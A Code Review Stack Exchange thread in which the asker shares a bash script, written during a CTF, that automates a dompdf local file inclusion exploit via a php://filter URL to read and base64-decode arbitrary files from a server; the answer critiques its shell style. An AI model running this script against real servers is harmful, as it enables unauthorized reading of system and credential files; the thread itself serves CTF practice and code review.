2
\$\begingroup\$

Intro

During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.

However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode) to read the contents of files. So I made a little bash script to do these things automatically.

I am happy with the result, but I thought there maybe was a way to resolve those double sed into one Regex capture. It works because the [( ... )] is unique in the resulting string.

Code

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
    echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d
\$\endgroup\$
  • \$\begingroup\$ I edited your question to add the URL I think you meant to link to originally. If it's wrong, feel free to change it again. \$\endgroup\$ – Daniel Apr 15 '18 at 16:43
  • \$\begingroup\$ @Coal_ I've added the correct link again, seem to have removed it when I removed the clutter from the question. Thnx \$\endgroup\$ – Ludisposed Apr 15 '18 at 16:49
3
\$\begingroup\$

Input validation

I find this an unusual way to validate script parameters:

if [ -z "$1" ] || [ -z "$2" ]; then

It's more common to verify that there are exactly two parameters:

if [ $# != 2 ]; then

Note that this is not exactly the same as the original. The original verifies that neither $1 and $2 is empty, and it silently allows more than 2 parameters.

Why echo a sub-shell?

What is the purpose of this echo:

echo `curl --silent $URL`

Instead of simply:

curl --silent $URL

If the purpose is to join multiple lines into one, I would use tr instead:

curl --silent "$URL" | tr -d '\n'
# or
curl --silent "$URL" | tr '\n' ' '

Writing this way make the intention more clear. Another advantage is streamlined processing. Note also that I added double-quotes around the $URL used as command parameter, as a good rule of thumb to protect from unexpected word splitting and globbing.

One sed to rule them all

Instead of this:

sed 's/.*\[(//' | sed 's/)\].*//'

You can do multiple expressions with a single sed using multiple -e parameters:

sed -e 's/.*\[(//' -e 's/)\].*//'

I use the -e even with single expressions, for maximum clarity.

\$\endgroup\$
  • \$\begingroup\$ The echo might be to compress whitespace, or to expand globs... (probably not). \$\endgroup\$ – Toby Speight Apr 11 '18 at 22:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.